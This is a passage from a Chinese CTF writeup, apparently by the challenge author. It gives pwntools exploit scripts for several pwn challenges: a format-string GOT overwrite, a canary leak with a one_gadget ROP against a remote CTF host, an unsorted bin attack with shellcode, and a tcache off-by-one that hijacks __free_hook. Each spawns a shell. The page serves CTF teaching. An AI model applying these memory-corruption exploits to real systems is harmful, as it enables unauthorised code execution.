process.send('a'*6+r"%25$s"+'a'*5+p32(read_addr)+p32(globallength)+r"%26$n"+"\n")
# process.send('a'*6+r"%25$s"+'a'*5+p32(read_addr)+"\n")

# process.send("1\n")
process.recv(6)
sys_got=u32(process.recv(4))
# sys_got = strlen_got - (libc.got['strlen'] - libc.got['system'])
# free_got = strlen_got - (libc.got['strlen'] - libc.got['free'])
write_value=sys_got
# print 'slen:'+hex(strlen_got)
print 'sys :'+hex(write_value)
# print 'free:'+hex(free_got)
process.recv()
high_value=(write_value/(2**16))
low_value=(write_value%(2**16))
print hex(high_value)
print hex(low_value)
if high_value>low_value:
  print '先写低位'
  process.send('/bin/sh'+chr(24)+p32(write_addr)+p32(write_addr+2)+r'%'+str(low_value-0x10)+r'x'+r"%23$hn"+r'%'+str(high_value-low_value)+r'x'+r"%24$hn"+"\n")
  # process.send('/bin/sh'+chr(61)+p32(write_addr)+p32(write_addr+2)+r'%'+r'x'+r"%23$hn"+r'%'+r'x'+r"%24$hn"+"\n")

else:
  #先写高位
  process.send('/bin/sh'+chr(24)+p32(write_addr)+p32(write_addr+2)+r'%'+str(high_value-0x10)+r'x'+r"%24$hn"+r'%'+str(low_value-high_value)+r'x'+r"%23$hn"+"\n")
  # process.send('/bin/sh'+chr(61)+p32(write_addr)+p32(write_addr+2)+r'%'+r'x'+r"%24$hn"+r'%'+r'x'+r"%23$hn"+"\n")

if Debug!=0:
  raw_input()
process.interactive()

babycpp

这题的思路是我的一个ACM同学给新生讲课的时候提到了unque这个函数,这个函数进行去重但是只是把后面的元素移到前面而不删除,一般配合排序函数使用,于是就想到了这题,题目很简单,利用unque这个函数的性质leak canary然后跳ROP就行了。

from pwn import *

context.log_level = 'debug'

while True:
    try:
        p = remote('118.31.49.175', 2333)
        p.recvuntil('input n:\n')
        p.sendline('22')

        p.recvuntil("> ")
        p.sendline('2')
        p.recvuntil('num:\n')
        p.sendline('1 ' * 21 + '1')
        p.recvuntil('> ')
        p.sendline('1')
        sleep(0.5)
        p.sendline('28')
        p.recvuntil('> ')
        p.sendline('3')
        
        p.recvuntil('1 ')
        canary_l = int(p.recvuntil(' '))
        canary_h = int(p.recvuntil(' '))

        if canary_l < 0:
            canary_l = 0x100000000 + canary_l

        if canary_h < 0:
            canary_h = 0x100000000 + canary_h

        p.recvuntil(' 0 ')
        leak_addr_l = int(p.recvuntil(' '))
        leak_addr_h = int(p.recvuntil(' '))


        if leak_addr_h < 0:
            leak_addr_h = 0x100000000 + leak_addr_h
        if leak_addr_l < 0:
            leak_addr_l = 0x100000000 + leak_addr_l

        leak_addr = leak_addr_h * 0x100000000 + leak_addr_l
        canary = canary_h * 0x100000000 + canary_l



        log.info("leak addr is " + hex(leak_addr))
        log.info("canary is " + hex(canary))

        libc_base = leak_addr - 133168
        log.info("libc base is " + hex(libc_base))

        one_gadget = libc_base + 0x45216
        log.info("one gadget addr is " + hex(one_gadget))


        p.recvuntil('> ')
        p.sendline('2')


        p.recvuntil('num:\n')

        if canary_h > 0x7fffffff:
            canary_h = 0x100000000 - canary_h
        if canary_l > 0x7fffffff:
            canary_l = 0x100000000 - canary_l

        one_gadget_l = one_gadget % 0x100000000

        if one_gadget_l > 0x7fffffff:
            one_gadget_l = 0x100000000 - one_gadget_l

        p.sendline('1 ' * 22 + str(canary_l) + ' ' + str(canary_h) + ' ' + '1 1 ' + str(one_gadget_l) + ' ' + str((one_gadget- one_gadget%0x100000000)/0x100000000))

        p.recvuntil("> ")
        p.sendline('4')

        p.interactive()
        sys.exit(-1)
    except:
        p.close()



NoLeak

基本菜单题目。无法泄露信息的情况下可以使用unsorted bin attack往bss段写一个地址,再通过更改libc的最低字节使其指向malloc_hook。为了方便利用特意关闭了NX,其实只要想到利用unsrted bin attack再去改malloc_hook后面就很简单了。exp如下:

from pwn import *
s = process('./NoLeak')

def create(size,pay):
	s.recvuntil('Your choice :')
	s.sendline('1')
	s.recvuntil('Size:')
	s.sendline(str(size))
	s.recvuntil('Data:')
	s.send(pay)

def delete(idx):
	s.recvuntil('Your choice :')
	s.sendline('2')
	s.recvuntil('Index')
	s.sendline(str(idx))
def update(idx,pay):
	s.recvuntil('Your choice :')
        s.sendline('3')
        s.recvuntil('Index:')
	s.sendline(str(idx))
	s.recvuntil('Size:')
        s.sendline(str(len(pay)))
	s.recvuntil('Data:')
	s.send(pay)
sc='\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
create(0x68,'A'*0x20)#0
create(0x80,'E'*0x30)#1
create(0x80,'F'*0x30)#2
delete(1)
update(1,p64(0x601040+0x28)*2)
delete(0)
create(0x80,'G'*0x30)#3
update(0,p64(0x601075))
create(0x68,'H'*0x10)
create(0x68,'I'*3+p64(0x601070))
update(9,p64(0x601090)+'\x10')
update(7,p64(0x601090))
update(6,sc)
#update(0,p64(0x601040-0x18)+p64(0x601040-0x10))

s.interactive()

babyheap

题目考察tcache的off-by-one。在glibc引入tcache机制之后,针对堆的所有利用都简单了很多。针对tcache的off-by-one需要注意的就是tcache使用的范围,当chunk足够大时,free之后不会被放入tcache,具体请阅读glibc源码。exp如下:

from pwn import *
s=process('./timu')
def create(size,pay):
	s.recvuntil('Your choice :')
	s.sendline('1')
	s.recvuntil('Size:')
	s.sendline(str(size))
	s.recvuntil('Data:')
	s.send(pay)

def delete(idx):
	s.recvuntil('Your choice :')
	s.sendline('2')
	s.recvuntil('Index')
	s.sendline(str(idx))
def show():
        s.recvuntil('Your choice :')
        s.sendline('3')

create(0x100-8,'A'*0x20+'\n')#0
create(0x650-8,'B'*0x5f0+p64(0x600)+p64(0x50)+'\n')#1
create(0x500,'C'*0x20+'\n')#2
create(0x100,'D'*0x20+'\n')#3
delete(0)
delete(1)
create(0x100-8,'A'*0xf8+'\n')#0
create(0x500-8,'E'*0x10+'\n')#1
create(0x100-8,'F'*0x10+'\n')#4
delete(1)
delete(2)
create(0x500-8,'G'*0x10+'\n')#1
show()
s.recvuntil('4 : ')
libc = u64(s.recv(6)+'\x00'*2)-0x3ebca0
print hex(libc)
create(0x100-8,'H'*0x10+'\n')#2
delete(4)
delete(2)
create(0x100-8,p64(libc+0x3ED8E8)+'\n')
create(0x100-8,p64(libc+0x3ed8e8)+'\n')
create(0x100-8,p64(libc+0x4F440)+'\n')
create(0x200-8,'/bin/sh\x00'+'\n')#6
delete(6)
s.interactive()
请先登录
+1 已点过赞
9
分享到:
登录后才能发贴或参与互动哦! 点击登录

全部评论 (1)

oldman 2018-07-17 16:07:45
notebook 题目感觉在做的时候出题人犯了个错误,错误就是直接使用了 system("pause 0.1"),这样就把 system@plt 留下来给我们使用了,所以这个题目就变的异常的简单。 注意到free的第一次调用其实是发生在第一个格式化漏洞之后,并且 free@plt与system@plt 只有第一个字节不相同,所以只需要把 free@got 第一个字节覆盖为 system@plt 第一个字节内容就好了。
回复
请先登录 5 +1 已点过赞